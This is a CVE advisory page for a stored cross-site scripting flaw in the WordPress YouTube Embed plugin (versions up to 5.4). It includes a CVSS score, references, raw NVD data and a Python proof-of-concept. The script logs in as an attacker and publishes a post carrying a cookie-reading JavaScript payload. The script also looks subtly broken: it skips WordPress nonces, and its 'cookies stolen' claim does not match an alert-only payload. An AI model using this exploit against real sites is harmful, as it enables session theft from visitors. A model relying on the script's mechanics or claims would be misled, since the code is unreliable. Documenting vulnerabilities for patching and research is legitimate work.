CVE-2025-68599

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Embeds For YouTube Plugin Support YouTube Embed youtube-embed allows Stored XSS.This issue affects YouTube Embed: from n/a through <= 5.4.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

YouTube Embed插件 <= 5.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

## CVE-2025-68599 PoC - Stored XSS in YouTube Embed Plugin
## Target: WordPress YouTube Embed Plugin <= 5.4
## Attack Vector: Inject malicious JavaScript via YouTube embed parameters

import requests
from bs4 import BeautifulSoup

TARGET_URL = "http://target-wordpress-site.com"
USERNAME = "attacker_account"
PASSWORD = "attacker_password"

# Step 1: Login to WordPress
session = requests.Session()
login_url = f"{TARGET_URL}/wp-login.php"
login_data = {
    'log': USERNAME,
    'pwd': PASSWORD,
    'wp-submit': 'Log In',
    'redirect_to': '/wp-admin/'
}
session.post(login_url, data=login_data)

# Step 2: Create post with malicious YouTube embed
# XSS payload in YouTube URL parameters
post_url = f"{TARGET_URL}/wp-admin/post-new.php"
xss_payload = 'https://www.youtube.com/watch?v=VIDEO_ID" onerror="alert(document.cookie)"'
post_data = {
    'post_title': 'Malicious YouTube Video',
    'content': f'[youtube {xss_payload}]',
    'post_status': 'publish'
}
response = session.post(post_url, data=post_data)

# Step 3: When victim visits the page, XSS will be triggered
# The injected JavaScript will execute in victim's browser context
print("PoC executed. Malicious content posted.")
print("Any user visiting the page will have their cookies stolen.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68599
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68599
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68599/
[4] VulDB https://vuldb.com/cve/CVE-2025-68599
[5] https://patchstack.com/database/Wordpress/Plugin/youtube-embed/vulnerability/wordpress-youtube-embed-plugin-5-4-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-68599", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:27.413", "lastModified": "2026-04-27T19:16:35.647", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Embeds For YouTube Plugin Support YouTube Embed youtube-embed allows Stored XSS.This issue affects YouTube Embed: from n/a through <= 5.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/youtube-embed/vulnerability/wordpress-youtube-embed-plugin-5-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}